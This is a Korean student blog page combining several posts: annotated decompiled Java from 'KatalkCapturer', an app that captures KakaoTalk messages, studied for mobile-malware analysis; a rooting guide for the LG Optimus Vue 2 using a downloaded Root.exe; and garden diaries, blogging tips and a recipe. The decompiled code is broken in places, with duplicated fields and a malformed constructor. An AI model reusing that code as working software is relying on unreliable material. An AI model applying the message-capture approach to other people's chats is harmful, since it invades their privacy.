13년 5월 19일 촬영사진  (0) 2013.05.20

package com.irihon.katalkcapturer;

import android.app.AlertDialog;
import android.app.AlertDialog.Builder;
import android.content.ContentResolver;
import android.content.Context;
import android.content.DialogInterface;
import android.content.DialogInterface.OnClickListener;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.database.ContentObserver;
import android.database.Cursor;
import android.graphics.drawable.Drawable;
import android.net.Uri;
import android.os.Bundle;
import android.os.Handler;
import android.view.KeyEvent;
import android.view.LayoutInflater;
import android.view.View;
import android.view.View.OnClickListener;
import android.view.ViewGroup;
import android.widget.ArrayAdapter;
import android.widget.ListView;
import android.widget.TextView;
import com.mocoplex.adlib.AdlibActivity;
import com.mocoplex.adlib.AdlibConfig;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Calendar;
import java.util.GregorianCalendar;
import java.util.List;
import java.util.TimeZone;

public class CapturedMsgViewActivity extends AdlibActivity
  implements View.OnClickListener
{
  private MessageAdapter mAdapter = null;
  private boolean mIsStartFromLock = false;
  private ContentObserver mMessageObserver = new ContentObserver(new Handler())

 private ContentObserver mMessageObserver = new ContentObserver(new Handler())
  {
  public void onChange(boolean paramBoolean)// 모니터링 도중 컨텐츠의 변경이 감지되면 자동으로 호출되는 메소드
    {
      super.onChange(paramBoolean);
 //패키지내부의 CaptureedMessage  경로를 변수로 지정
      Uri localUri = Uri.parse("content://com.irihon.katalk.provider/capturedmessage/preview_message");
 //메세지ID ,받은시간, 받은메세지 내용 ,보낸이 이름 의 문자 배열을 만듬
      String[] arrayOfString = { "id", "receive_time", "msg", "sender_name" };
 //localCursor 라는 변수에 localUri에 해당하는 위치의 arrayOfString 형식의 데이터를 내림차순으로 가져온다.
      Cursor localCursor = CapturedMsgViewActivity.this.getContentResolver().query(localUri, arrayOfString, null, null, "receive_time DESC");
 //가져온데이터가 비어있지않고 가장처음커서를 가르키고 있는경우
      if ((localCursor != null) && (localCursor.moveToFirst()))
      {/*받아온 메세지를 처리하기 시작*/
 //가져온데이터가 현재 가리키는 msg열의 인덱스를 가짐
        int i = localCursor.getColumnIndex("msg");
 //가져온데이터가 현재 가리키는 id열의 인덱스를 가짐
        int j = localCursor.getColumnIndex("id");
 //가져온데이터가 현재 가리키는 보낸이를 가짐
        String str = localCursor.getString(localCursor.getColumnIndex("sender_name"));
 //가져온데이터의 id열의 j의 위치에 해당하는 값을 가져옴
        int k = localCursor.getInt(j);
 //클래스의 mSenderName변수의 내용과 가져온 보낸이가 같고 k가 id번호가 클래스의 mTopMsgId 변수보다 클때
 //즉 가져온 메세지의 정보가 신규메세지일 경우를 구분하는 부분이라고 추측됨.
        if ((CapturedMsgViewActivity.this.mSenderName.equals(str)) && (k > CapturedMsgViewActivity.this.mTopMsgId))
        {/*신규 메세지일경우의 처리*/
 //mTopMsgId를 최신의 메세지ID값을 저장 
          CapturedMsgViewActivity.this.mTopMsgId = k;
 //m 에 받아온 받은시간값의 인덱스를 저장함.
          int m = localCursor.getColumnIndex("receive_time");
 //클래스의 mMsgList변수가 비어있지 않다면
          if (CapturedMsgViewActivity.this.mMsgList != null)
 //mMsgList에 localCursor.getString(i),localCursor.getLong(m)형식의 데이터를 추가함 (i위치의 메세지내용, m위치의 받은시간)형식으로 저장됨
            CapturedMsgViewActivity.this.mMsgList.add(0, new CapturedMessage(localCursor.getString(i), localCursor.getLong(m)));
        }/*신규 메세지일경우의 처리끝*/
 //가져온 데이터를 닫음
        localCursor.close();
      }/*받아온 메세지를 처리하기 끝*/
 //클래스의 mAdapter가 널이 아니라면
      if (CapturedMsgViewActivity.this.mAdapter != null)
 //mAdapt에게 data가 변경되었다는 사실을 알려준다.
        CapturedMsgViewActivity.this.mAdapter.notifyDataSetChanged();
    }
  };
//받아온메세지를 저장할 어레이리스트를 선언함.
private ArrayList<CapturedMessage> mMsgList = null;
//보낸이를 저장할 문자열변수를 선언함.
  private String mSenderName = null;
//최신문자ID 가질 변수를 선언함.
  int mTopMsgId = -1;

 private ArrayList<CapturedMessage> mMsgList = null;
  private String mSenderName = null;
  int mTopMsgId = -1;


//대화목록삭제를 선택했을시의 경우 다이얼로그 출력으로 추측함.
private AlertDialog buildDeleteDialog(String paramString)
  {
    //대화목록삭제여부를 묻는 다이얼로그그 문자열의 타이틀과 내용을 설정해줌
    return new AlertDialog.Builder(this).setTitle(paramString + " 대화 목록 삭제").setMessage("선택하신 대화 목록을 삭제하시겠습니까?").setPositiveButton("Ok", new DialogInterface.OnClickListener(paramString)
    {
      //선택했을시 처리해주는 부분
      public void onClick(DialogInterface paramDialogInterface, int paramInt)
      {
 //클래스의 메세지삭제 deleteMessages(this.val$name)결과가 참이면
        if (CapturedMsgViewActivity.this.deleteMessages(this.val$name))
        {
 //인텐트 선언
          Intent localIntent = new Intent();
 //인텐트 내용 설정
          localIntent.putExtra("sender_name", CapturedMsgViewActivity.this.mSenderName);
          CapturedMsgViewActivity.this.setResult(-1, localIntent);
          CapturedMsgViewActivity.this.finish();
        }
      }
 //취소버튼 선택시 액션 설정
    }).setNegativeButton("Cancel", new DialogInterface.OnClickListener()
    {
      public void onClick(DialogInterface paramDialogInterface, int paramInt)
      {//아무동작 하지않음
      }
    }).create();// 다이얼로그 생성
  }

/*메세지를 삭제하는 메소드*/
private boolean deleteMessages(String paramString)
  {
    //paramString의 '를 ''로 모두 변경하여 str1에 저장
    String str1 = paramString.replaceAll("'", "''");
    //sneder_name=' + str1 + ' 를 해서 str2에 저장
    String str2 = "sender_name='" + str1 + "'";
    //delete(CapturedMessageProvider.MESSAGE_CONTENTS_URI, str2, null)의 결과값을 리턴함.
    return getContentResolver().delete(CapturedMessageProvider.MESSAGE_CONTENTS_URI, str2, null) > 0;
  }

/*이미 캡쳐되어 저장된 메세지목록을 불러오는 메서드로 추측됨*/
private ArrayList<CapturedMessage> getCapturedMessageList(String paramString)
  {
    //로컬어레이리스트 라는 어레이리스트를 만듬
    ArrayList localArrayList = new ArrayList();
    //아이디 메세지 받은시간 의 배열을 만듬
    String[] arrayOfString = { "id", "msg", "receive_time" };
    //paramString의 '를 모두 ''로 치환하여 str1에 반환한다
    String str1 = paramString.replaceAll("'", "''");
    //"sender_name='" + str1 + "'" 을 str2 에 반환한다.
    String str2 = "sender_name='" + str1 + "'";
    //localCursor 라는 변수에 CapturedMessageProvider.MESSAGE_CONTENTS_URI에 해당하는 위치의 arrayOfString 형식의 데이터중 str2 조건에 해당하는 데이터를 내림차순으로 가져온다.
    Cursor localCursor = getContentResolver().query(CapturedMessageProvider.MESSAGE_CONTENTS_URI, arrayOfString, str2, null, "receive_time DESC");
    //가져온데이터가 비어있지않고 가장처음커서를 가르키고 있는경우
    if ((localCursor != null) && (localCursor.moveToFirst()))
    {
 //i 는 가져온데이터가 현재 가리키는 msg열의 인덱스를 가짐
      int i = localCursor.getColumnIndex("msg");
 //j 는 가져온데이터가 현재 가리키는 id열의 인덱스를 가짐
      int j = localCursor.getColumnIndex("id");
 //가져온데이터가 현재 가리키는 receive_time열의 인덱스를 가짐
      int k = localCursor.getColumnIndex("receive_time");
 //클래스의 mTopMsgId에 가져온데이터의 j에 해당하는 데이터를가짐
      this.mTopMsgId = localCursor.getInt(j);
 
      do//가져온데이터의 끝이 될때까지 로컬어레이리스트에 getstring(i),getstring(k) 즉 메세지,받은시간 형식으로 추가한다
        localArrayList.add(new CapturedMessage(localCursor.getString(i), localCursor.getLong(k)));
      while (localCursor.moveToNext());
 //가져온데이터를 닫는다.
      localCursor.close();
    }
 //정리가된 어레이리스트를 반환한다.
    return localArrayList;
  }

/*카카오톡을 실행시키는 메소드로 추측됨*/
private void startKakaoTalk()
  {
 //카카오톡실행할 인텐트를 설정
    Intent localIntent = getPackageManager().getLaunchIntentForPackage("com.kakao.talk");
 //로컬인텐트가 널이라면 즉 카카오톡의 정보를 받아오지 못했을경우(카카오톡이 깔려있지 않은경우로 추측)
    if (localIntent == null)
 //그냥 리턴함.
      return;
 //인텐트에 플래그를 추가함
    localIntent.addFlags(268435456);
    localIntent.addFlags(536870912);
 //인텐트를 실행한다. (카카오톡 정보를 정상적으로받아왔기떄문에 정상실행이 될것으로추측)
    startActivity(localIntent);
  }

//메모리 누수를 방지하는 메소드로 추측됨
  private void unbindDrawables(View paramView)
  {
 //paramView 가 널이 아니라면
    if (paramView != null)
      try
      {
 //praramView의 백그라운드가 널이 아니라면
        if (paramView.getBackground() != null)
   //paramView의 백그라운드의 콜백을 null로 설정해준다
          paramView.getBackground().setCallback(null);
 //paramView가 ViewGroup형으로 형변환이 가능하면?
        if ((paramView instanceof ViewGroup))
        {
   //paramView가 가지고있는 뷰의 개수를 i에 대입한다.
          int i = ((ViewGroup)paramView).getChildCount();
   //j를 1씩 증가하며 조건없이 반복한다.
          for (int j = 0; ; j++)
          {
     //j가 i이상이면
            if (j >= i)
            {
       //paramView의 모든 뷰를 삭제한다.
              ((ViewGroup)paramView).removeAllViews();
       //리턴
              return;
            }
     //paramView의 j번째의 뷰를 가져옴
            unbindDrawables(((ViewGroup)paramView).getChildAt(j));
          }
        }
      }
      catch (Exception localException)
      {
      }
  }

/*광고를 실행하는 메소드로 추정*/
 protected void initAds()
  {
    AdlibConfig.getInstance().bindPlatform("INMOBI", "com.adlib.adviews.SubAdlibAdViewInmobi");
    AdlibConfig.getInstance().bindPlatform("ADAM", "com.adlib.adviews.SubAdlibAdViewAdam");
    AdlibConfig.getInstance().bindPlatform("ADMOB", "com.adlib.adviews.SubAdlibAdViewAdmob");
    AdlibConfig.getInstance().bindPlatform("NAVER", "com.adlib.adviews.SubAdlibAdViewNaverAdPost");
    AdlibConfig.getInstance().setAdlibKey("501244330cf220394aba0547");
  }

/*서브엑티비티의 결과값을 받는데 사용하는 메소드라고 함.*/
protected void onActivityResult(int paramInt1, int paramInt2, Intent paramIntent)
  {
    super.onActivityResult(paramInt1, paramInt2, paramIntent);
    //리퀘스트코드1이 KatalkCapturerActivity.REQUEST_CODE_LOCK 이면
    if (paramInt1 == KatalkCapturerActivity.REQUEST_CODE_LOCK)
    {
      //리퀘스트코드2가 -1이면
      if (paramInt2 == -1)
 //클래스내의 mlsStartFromLock 을 true로 바꿈
        this.mIsStartFromLock = true;
    }
   //아니면
    else
      //리턴
      return;
    //호출한 엑티비티에 result코드와 인텐트를 전달함.
    setResult(0);
    finish();
  }

/**/
public void onClick(View paramView)
  {
    //입력받은뷰의 아이디를 얻어옴
    int i = paramView.getId();
    //얻어온 id가 2131230772 이면
    if (i == 2131230772)
 //buildDeleteDialog에 선택한 뷰의 보낸이를 입력하여 출력함.
      buildDeleteDialog(this.mSenderName).show();
    do//i가 2131230773이 아닐때까지 반복함
      return;
    while (i != 2131230773);
    //startkakaoTalk메서드를 호출
    startKakaoTalk();
  }

/*기본 창이 출력되었을때 기본동작*/
 public void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    //2130903046에 해당하는 레이아웃을 출력
    setContentView(2130903046);
    //전달된 값을 받을 localintent를 만든다
    Intent localIntent = getIntent();
    //받아온 데이터에 "sender_name"가 있으면
    if (!localIntent.hasExtra("sender_name"))
      //종료
      finish();
    //클래스의 mSenderName 변수에 "sender_name"의 내용을 가져온다
    this.mSenderName = localIntent.getStringExtra("sender_name");
    //뷰에 텍스트를 mSenderName로 설정해준다.
    ((TextView)findViewById(2131230770)).setText(this.mSenderName);
    //클래스의 mMsgList를 getCaptureedMessageList에 mSenderName을 넣어서 반환받은 값을 저장한다.
    this.mMsgList = getCapturedMessageList(this.mSenderName);
    //클래스의 mAdapter 설정
    this.mAdapter = new MessageAdapter(this, this.mSenderName, 2130903042, 2131230732, this.mMsgList);
    //mAdapter에 변화되엇다는 알림을 보내줌
    this.mAdapter.setNotifyOnChange(true);
    //리스트뷰에 어댑터를 설정해줌
    ((ListView)findViewById(2131230774)).setAdapter(this.mAdapter);
    //
    getContentResolver().registerContentObserver(CapturedMessageProvider.MESSAGE_CONTENTS_URI, false, this.mMessageObserver);
    //레이아웃에 클릭리스너를 담
    findViewById(2131230772).setOnClickListener(this);
    findViewById(2131230773).setOnClickListener(this);
    //클래스에 mlsStartFromLock을 True를 넣어줌
    this.mIsStartFromLock = true;
    //설명이 없음
    setAdsContainer(2131230769);
  }

/*파괴되엇을때*/
protected void onDestroy()
  {
    super.onDestroy();
    //destroyAdsContainer()를 호출함
    destroyAdsContainer();
    //mAdapter를 클리어함.
    this.mAdapter.clear();
    //mAdapter 를 널로 설정해줌
    this.mAdapter = null;
    //getContentResolver()를 컨텐츠옵저버에서 제거함
    getContentResolver().unregisterContentObserver(this.mMessageObserver);
    //메모리 누수방지를위해 파괴된 뷰에 unbindDrawables를 호출함
    unbindDrawables(findViewById(2131230768));
  }

/*터치했다가 뗏을때의 상태를 반환해주는 메소드로 추측됨*/
public boolean onKeyUp(int paramInt, KeyEvent paramKeyEvent)
  {
 
    if (paramInt == 4)
    {
      setResult(-1);
      finish();
      return false;
    }
    return super.onKeyUp(paramInt, paramKeyEvent);
  }

/*포커스를 잃었다가 다시 얻었을때의 작동하는 메소드로 추측*/
  protected void onResume()
  {
    super.onResume();
    //클래스의 mIsStartFromLock가 True면
    if (this.mIsStartFromLock)
      //mIsStartFromLock를 false로 변형
      this.mIsStartFromLock = false;
    do
      return;
    //KatalkMoleSettings클래스의 isEnable메소드의 결과가Enable일 때까지 반복
    while (!KatalkMoleSettings.isEnable(getApplicationContext(), "ENABLE_LOCK"));
    //엑티비티가 실행된후 결과물을 받아서 반환함
    startActivityForResult(new Intent(this, KatalkPasswordActivity.class), KatalkCapturerActivity.REQUEST_CODE_LOCK);
  }


private class MessageAdapter extends ArrayAdapter<CapturedMessage>
  {
    private LayoutInflater mLayoutInflater = null;
    private String mSenderName = null;

    /*메세지어댑터를 설정함.*/
    public MessageAdapter(String paramInt1, int paramInt2, int paramList, List<CapturedMessage> arg5)
    {
      super(paramList, i, localList);
      this.mSenderName = paramInt2;
    }

    /*카톡을통해 얻은 받은시간정보를 변환하여 반환*/
    private String getTime(long paramLong)
    {
      SimpleDateFormat localSimpleDateFormat = new SimpleDateFormat("a HH:mm");
      GregorianCalendar localGregorianCalendar = new GregorianCalendar();
      localGregorianCalendar.setTimeZone(TimeZone.getTimeZone("Asia/Seoul"));
      localGregorianCalendar.setTimeInMillis(paramLong);
      return localSimpleDateFormat.format(localGregorianCalendar.getTime());
    }

    /*입력받은 paramint를 CapturedMessage 로 변환하여 반환함*/
    public CapturedMessage getItem(int paramInt)
    {
      return (CapturedMessage)super.getItem(paramInt);
    }

    /*입력받은paramInt의 ID를 반환함*/
    public long getItemId(int paramInt)
    {
      return super.getItemId(paramInt);
    }

    /*입력한 정보의 뷰를 반환함*/
    public View getView(int paramInt, View paramView, ViewGroup paramViewGroup)
    {
      View localView = super.getView(paramInt, paramView, paramViewGroup);
      if (localView == null)
        localView = this.mLayoutInflater.inflate(2130903042, null);
      CapturedMessage localCapturedMessage = (CapturedMessage)super.getItem(paramInt);
      ((TextView)localView.findViewById(2131230731)).setText(this.mSenderName);
      ((TextView)localView.findViewById(2131230732)).setText(localCapturedMessage.getMessage());
      ((TextView)localView.findViewById(2131230733)).setText(getTime(localCapturedMessage.getTime()));
      return localView;
    }

    /*paramint의 Enabled상태를 boolean형으로 반환함*/
    public boolean isEnabled(int paramInt)
    {
      return super.isEnabled(paramInt);
    }
  }

애니메이션이 있으므로 정확히 보실분은 ppt로 보시기 바랍니다. 

 

application framework.pdf

 

Application Framework.pptx

 

http://ntma.co.kr/  - 모바일 악성코드 분석자료 점검

http://ntma.co.kr/  - 모바일 악성코드 분석자료 점검

http://ntma.co.kr/  - 모바일 악성코드 분석자료 점검

http://ntma.co.kr/  - 모바일 악성코드 분석자료 점검

http://ntma.co.kr/  - 모바일 악성코드 분석자료 점검

http://ntma.co.kr/  - 모바일 악성코드 분석자료 점검

http://ntma.co.kr/  - 모바일 악성코드 분석자료 점검

http://ntma.co.kr/  - 모바일 악성코드 분석자료 점검

http://ntma.co.kr/  - 모바일 악성코드 분석자료 점검

http://ntma.co.kr/  - 모바일 악성코드 분석자료 점검

http://ntma.co.kr/  - 모바일 악성코드 분석자료 점검

http://ntma.co.kr/  - 모바일 악성코드 분석자료 점검

http://ntma.co.kr/  - 모바일 악성코드 분석자료 점검

http://ntma.co.kr/  - 모바일 악성코드 분석자료 점검

http://ntma.co.kr/  - 모바일 악성코드 분석자료 점검

http://ntma.co.kr/  - 모바일 악성코드 분석자료 점검

http://ntma.co.kr/  - 모바일 악성코드 분석자료 점검

http://ntma.co.kr/  - 모바일 악성코드 분석자료 점검

 

 

티스토리는 검색 포털 사이트 "다음(Daum)"에 속한 블로그 입니다. 그래서 현재 1위의 검색 포털 사이트인 "네이버"에서의 게시글 검색 노출을 시키기 위해서, 이전에는 네이버에서 제공하는 RSS등록신청과 같은 방식을 선택하여 검색등록을 하곤했는데요. 지금은 이와같은 부분들이 많이 개선되어 티스토리 내에 RSS피드 즉, http://티스토리이름.tistory.com/rss 주소에서 노출되는 글을 네이버 검색로봇이 찾아가서 검색물로 등록해주는 시스템으로 바뀌었습니다. 덕분에 일일이 rss등록 신청을 해야하는 불편함도 많이 줄어들었죠.

 

 

 

 

저는 몇주전에 티스토리의 복원 기능을 시험해보기 위해서, 기존블로그의 내용을 백업한 뒤, 임시로 만든 블로그에 복원을 한 적이 있었습니다. 복원한 게시물에 대한 삭제는 하지않았었습니다. 그리고 그 이후 2~3주동안 잊고 살았죠. 하지만 최근에 제가 게시했던 글을 네이버에서 검색하는 과정에서 제가 썼던 글 10여개가 검색등록에 누락되어 있다는 사실을 알게 되었습니다.

그래서 이에 대해서 여러 문의를 거친 결과, 게시글 검색누락에 대한 이유로, 복원용으로 쓰인 블로그의 글이 "원본 글"로 인식되고, 제 블로그의 원래 글이 "유사문서"로 인식되는 바람에 없어진 것이라고 하더군요.

유사문서로 인식되면 검색 등록에 추가되었던 글이라도, 네이버 검색등록에서 삭제될 수 있다는 사실을 이번을 계기로 처음 알게되었습니다. (여기서의 유사문서는 블로그의 주소가 달라도 글 내용이 동일하면 무조건 해당되는 사항입니다.)

 

 

 

그리고 추가적으로 알게된 중요한 사실!!

티스토리에서 제공하는 http://티스토리이름.tistory.com/rss 피드상에 업로드될 수 있는 글의 최대 갯수는 30개로 나와있죠. 이에 대해서 네이버 검색 등록상에 등록이 되거나, 업데이트가 될 수 있는 글도 RSS피드에 들어가있는 상위 30개의 글에 한정된다는 사실입니다. (이는 네이버 상담원분과의 문의로 알게 되었습니다.) 

 

여기서 "업데이트"라는 부분이 대단히 중요합니다.

"네이버 블로그"의 경우에는 게시한 글의 검색에서의 업데이트가 수시로 이루어지는데 반해서, "티스토리 블로그"에서는 rss 피드상의 상위 30개의 글에 들어가있지않다면, 말그대로 해당글을 수정한다고 해서 네이버 검색상에서는 아무런 변화가 없다는 뜻이죠.

별 것 아닌 정보일지도 모르겠습니다만, 티스토리를 운영하는 블로거분들에 있어서는 필수적인 정보입니다.

 

물론, 등록일을 "현재"로하여 글을 재발행하는 방법으로 rss피드에 올려놓는 방법도 있습니다. 하지만 글 쓴 당시의 날짜가 중요한 게시글의 경우 이러한 방법도 힘들겠죠.

 

결론은, 처음에 글을 쓸 때, 신경을 써서 최대한 이 후에 수정을 할 일이 없게끔 확실하게 글을 완성해야된다는 뜻입니다. 제목과 내용을 RSS피드가 떠난이후에 아무리 다듬어봐야 네이버 검색상에서는 전혀 변화가 없게되니깐요..

이 정보들로 하여금, 티스토리 블로거 분들께 많은 도움이 되셨으면 합니다.

 

 

 

 

[출처]collby J의 외국음악 티스토리 블로그

 

옥상정원일기 2013/5/20 17일째   2013/5/20

옥상정원일기 2013/5/12 9일째     2013/05/07

옥상정원 2013/04/28 Day - 1일째 2013/04/28

 


 

엄청난 성장을 보여주는 위 사진은 이미 3번 뜯어먹고 또 자라고 있는 상추화분1 이다.

 


 

마찬가지로 상추는 3번뜯어먹고도 마구마구 자란다.

 

그리고 고추의 꽃이 있던자리에 열매가 달리기 시작했다 다음주나 다다음주면 수확이 가능할듯 싶다.


 

방울토마토1에 열매가 무수히 달리고 있다..

이것도 고추가 완전히 열릴때 즈음 다 익지 않을까 싶다.

 


방울토마토2에 열매가 무수히 달리고 있다..

이것도 고추가 완전히 열릴때 즈음 다 익지 않을까 싶다.


케일또한 잎이 무수히 나고있다. 고기먹을때 뜯어먹을 예정이다,...

 


 

총평: 상추는 매주 맛잇는 쌈을 제공해주었다. 고추에 열매가 맺힌것이 인상적

방울토마토에 거름이 재대로 작용한듯 열매가 많이 달린다.

케일도 무난히 성장중이다 잡초를 제거해줘야 겠다.

 

 

 

오늘은 옵티머스 뷰2 젤리빈 루팅을 해보도록 하겠습니다. 

 

먼저 루팅에 관한것과 루팅의 위험성등은 미리 숙지하시고 오시길 바랍니다.

간단히 루팅후에는 A/S과정에서 문제가 생길수도 있고, 기기에 장애가 발생할수 있습니다.

 

※본 강좌는 현재 SK/KT 기기만 확인되었습니다.(모든 통신사 가능)

※본 강좌로 인해 일어나는 사고는 책임지지 않습니다.

※루팅은 언제나 위험이 따를수 있는 일이니 백업은 항상 해두시길 권유합니다.

 

  준비파일 다운로드

 

F200Root.egg

 

 

 

 

 

 

 

 

 

 

우선 USB드라이버가 필요한데요 이미 설치되있으면 필요 없지만 없으신분들은 드라이버를 설치하셔야 합니다.

http://www.lgmobile.co.kr/mobile-phone/F200/LG-F200S 이 페이지에서 다운로드 센터에서 LG United Mobile Driver 을 다운후 설치해 주세요

 

 

 

 

 

 

 

 

 그리고 위쪽에 준비파일을 받으신 다음에 압축을 해제해 줍니다.

 

1. 뷰2에서 설정-개발자옵션-USB디버깅을 클릭해주세요.

2. 옵티머스 뷰2와 컴퓨터 연결후 충전모드로 연결해 주세요.

 

 

3. Root.exe를 실행해 주세요(윈7,윈8 유저분들은 관리자권한으로 실행시켜주시는게 좋습니다)

4. 프로그램은 그대로 냅두고 기기와 PC의 연결을 해제하고 USB디버깅 활성화 취소 - 다시 디버깅 활성화 - 다시 컴과 연결

5. 몇초뒤에 엔터를 눌릅니다. 

 

6 재부팅되면서 루팅이 됩니다.(Super SU를 확인해 주세요)

 

※재부팅이 안된다면 다시 엔터를 눌러보세요. Root.exe가 꺼지면서 재부팅된다고 합니다.

 

 

각종 자격증 필기 및 실기 기출문제 다운로드 주소

http://www.gisafirst.com/pds/data_new01.html

 

 

 


 


 


 


 


 


 



'여러가지 > 이미지' 카테고리의 다른 글

폰 사진 모음  (0) 2013.08.07

♪정보보안학과 취업준비

 

한아전의 정보보안학과에서는 각종 사이버테러와 범죄들을 예방하고 중요정보들을 보호할 수 있는 전문인재를 양성합니다.

관련 자료를 찾아보면 유명 금융기관을 공격하거나, 트래픽공격 혹은 DDos공격, 기업과 게임 데이터를 해킹하는 등 각종 사이버 범죄가 나날히 증가하고 있는데 정보보안학과에서는 쉬지 않고 발전하는 공격기법들을 파악하고 이에 대응 할 수 있는 전문 고급기술들을 교육합니다.

 

 

무엇보다 분야 특성상 실무능력이 가장 중요하기 때문에 정보보안학과에서는 이론뿐만 아니라 실습위주로 수업이 진행되어 정보보안학과 학생들의 실무능력을 강화시키고 있습니다.

정리하자면 정보보안학과 학생들은 귀로 듣고 눈으로 보는데 그치지 않고 직접 손과 다리로 실무기술을 체득한다는 거지요! 그럼 이런 실습위주의 수업은 정보보안학과 학생들에게 어떤 도움이 될까요?

바로 실무에 바로 투입되어도 문제가 없고 현업에 빨리 적응할 수 있다는겁니다.

 

 

 

정보보안학과 졸업생들 대부분은 보안업체로 취업을 하게 되는데, 일반 교육기관을 나와 취업을 하게 되면 처음부터 커리큘럼과 업무에 대해 다시 공부해야하는 번거로움이 있는데요, 한아전 정보보안학과 졸업생들은 이미 재학당시부터 이와 관련된 수업들로 단련되어 있고 정보보안학과의 특징인 프로젝트 교육으로 인해 실무에 대해 두려움도 없을 뿐더러 놀라운 적응력을 보여준답니다.

이런 장점들을 자랑하는 정보보안학과의 교육과정은 어떨까요?

 

 

 

정보보안학과는 가장 먼저 기초적인 기본과목부터 수업이 진행됩니다. 물론 실무능력이 가장 중요하지만 그것도 기본기가 튼튼해야 빛을 낼 수 있지요? 정보보안학과에서는 예비 신입생들이 입학전부터 선행학습을 통해 정보보안학과에서 학업을 진행하기에 필요한 가장 기초적인 과목부터 스스로 학습 할 수 있도록 지원하고 있고 정보보안학과 입학 후에도 그치지 않고 기본기를 단련시켜 줍니다.

 

그리고 정보보안학과의 강점인 실습수업도 firewall, VPN, 라우터, 스위치, 유닉스 등 실습장비를 이용하여 교육하고 있기에 후에 취업후에도 관련 장비와 프로그램을 능숙히 다룰 수 있습니다.

그리고 정보보안학과는 현업에 종사하고 있는 실무자를 지도교수로 지명해 그룹별 학생관리를 하고 각 방학기간에는 보안업체 실무자를 초빙해 실무 세니마도 진행합니다.

 

 

 

 


 

그럼 실무중심의 교육을 받은 정보보안학과 학생들은 어디로 취업을 할까요?

정보보안학과 졸업생들은 기본이론은 물론 각종 취업에 대비한 커리큘럼으로 교육을 받기 때문에 졸업 후 한국통신기술, sk인포섹,kcc 시큐리티 등 유명 보안업체로 취업이 가능하고 그 외에도 정보보안학과와 산학협력을 맺고 있는 보안업체들로 취업이 가능합니다. 그래서 정보보안학과 학생들은 골라서 취업한다는 말이 나올정도지요^^;

 

국내 유명보안업체로 진출이 가능한 정보보안학과!

한아전 정보보안학과를 잊지 마시기 바랍니다!

 

-지난번 일기 보러가기- 

http://jinhobak.tistory.com/254 1일째

http://jinhobak.tistory.com/273 9일째

 

 


 

 상추들1: 전체적인 폭풍성장을 함 놀라운 성과임.


 

 상추무리2와 고추무리 : 상추무리1에비해 덜 성장했으나 그래도 나름 성장 고추에는 꽃이 피려고함.


 

 방울토마토모종1 : 꽃이 만개하고 열매가 몇몇 열리기 시작함. 많은 성장치를 보임


 

  방울토마토모종2 : 꽃이 만개하고 열매가 몇몇 열리기 시작함. 많은 성장치를 보임


 

케일 : 최고치의 성장치를 보여줌 1일차와 비교하면 놀라울따름..



전체적으로 엄청난 성장도를 보여줌 비가 많이왔고 햇빛이 강한날이 많은 탓과

버섯 밑둥거름과 커피찌거기를 거름으로 준것이 효과가 나왔을수도 있다고 추측함.,

 

※커피찌꺼기,버섯밑둥 은 거름으로 좋다고함

해야할 과제들

암호학 과제 - 기한: 2013년 5월 26일 일요일 24:00까지    

참조주소

http://jinhobak.tistory.com/281 - 기한및 과제 설명

 

 

운영체제보안 과제 - 기한:  6월3일

참조주소

http://jinhobak.tistory.com/280 - 기한및 과제 설명
http://jinhobak.tistory.com/279 - 실습예제

 

 

 


MFC 과제 - 제출완료

http://jinhobak.tistory.com/264 - 실습예제

 

침입차단시스템 - 기한종료 제출완료

 

 


치즈 알리오올리오를 해먹기로 하였다.

마트에서 필요한 재료를 사 왔다.

재료는 아래와 같다.

 

 


 

 재료 : 스파게티면, 치즈(좋아하는거로), 마늘 5~10개, 양파(안넣어도됌),마른고추(매운맛을 원한다면 준비)

아 원래 매운거 좋아해서 마른고추 사놧다가 썰어넣는데 이사오는통에 없어졋네 있는줄알고 안삿는데.. 그냥 양파 넣기로 함.

마늘은 적당히 얇게 편썰어서 준비해놓는다 양파도 대충 썰어놓는다.


 

 면을삶을 물을 끓인다. 팔팔 끓는것같다.


 

 면을 양 손을 오케이 형태로 쥔다음 양손을 반대로 돌려서 면이 꽈베기처럼 될듯하게 잡은다음 살짝 돌리면서 탁 노면 동그랗게 잘 퍼진다.

 


면삶을때 소금을 넣어주어야 한다  위 사진처럼 적당히 한줌정도 넣어준다.

 소금을 넣은 모습..

 


 

 

 이제 기호에따라 삶는 시간을 기다리는데

탱탱하게먹고싶으면 6~7분 좀 질척한거 좋아하면 8~9분 정도 삶으면 된다.


 

 거의다 끓은 모습이다.


 

 다삶은 면을 체에걸러 물을 따라내는데 중요한건 면삶은 물을 버리지 말고 담아둔다 물을따라낸 면에 오일을 뿌려 안불게 해준다.


 

 후라이팬에 오일을 넉넉히 둘러주고 마늘과 양파를 볶아준다.

매운맛을 원하는 사람은 고추를 이 단계에서 같이 넣어 볶아주면 된다.

 위사진보다 조금 더 누르스름 빛이 돌게 볶아주면 적절하다. 나는 양파때문에 조금 덜 익힘.


 

 적당히 익으면 면을 투하해준다. 이때 면삶앗던 물을 1~3국자 간맞춤을 위해 넣어준다.


 

 그다음 후추를 기호에 맞게 넣어준다 난 후추가 좋다.


 

그다음 치즈를 좋아하는만큼 넣어준다.나는 많이좋아해서 3개 넣엇다 사실 더넣고싶엇지만 참음.

치즈를 넣은다음 치즈가 잘 퍼지게 섞어준다.,


적당히 다 볶으면 완성! 치즈가 잘 녹아서 고소하니 간도 딱맞고 아주 재대로 만들어졌다. 맛은 꿀맛이다. 재료비도 5천원도 안들고

대략 10~15분 넉넉잡으면 완성이니 긴시간 많은재료 없이도 맛잇는 스파게티 요리가 완성된다 갠적으로 강추한다.

아 그리고 치즈는 원래 알리오올리오에 넣는건 아닌데 좀더 고소하게 먹고싶어서 넣은거니 안넣고 해도 무관하다.


'여러가지 > 잡담' 카테고리의 다른 글

♪정보보안학과 취업준비  (0) 2013.05.20
옥상정원일기 2013/5/20 17일째  (0) 2013.05.20
옥상정원일기 2013/5/12 9일째  (0) 2013.05.07
PHP를 시작하기 전에  (0) 2013.05.06
옥상정원 2013/04/28 Day - 1일째  (0) 2013.04.28

-지난번 일기 보러가기- 

http://jinhobak.tistory.com/254 1일째

 


 

 상추군단1 : 1일째와 비교했을때 좀더 잎이 자라고 생기가 돋은걸 느낄수 있었다..

 


 

 상추군단2와 고추군단 : 상추는 마찬가지로 조금 자랐으며 고추는 아직까지는 큰 차이를 알 수 없다고 판단함.

 


 

